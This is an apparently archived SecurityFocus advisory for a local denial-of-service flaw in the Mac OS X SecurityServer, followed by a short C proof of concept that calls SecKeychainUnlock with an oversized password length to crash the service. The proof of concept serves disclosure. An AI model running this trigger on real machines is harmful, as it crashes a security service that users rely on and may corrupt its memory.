15 lines
No EOL
916 B
C
15 lines
No EOL
916 B
C
source: http://www.securityfocus.com/bid/9332/info
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Apple MacOS X SecurityServer has been reported prone to a denial of service vulnerability that may be triggered by a local user. The issue may be triggered under certain circumstances when a large password for a SecKeychainUnlock() call is specified under certain circumstances.
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It has been reported that this activity will cause the SecurityServer to crash. The server appears to crash during a memory copy operation, potentially resulting in memory corruption. This could possibly allow for execution of arbitrary code, though this possibility has not been confirmed.
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#include <Security/Security.h>
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int main(int argc, const char *argv[])
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{
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SecKeychainRef defaultKeychain;
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SecKeychainCopyDefault(&defaultKeychain);
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SecKeychainLock(defaultKeychain);
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SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
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return 0;
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} |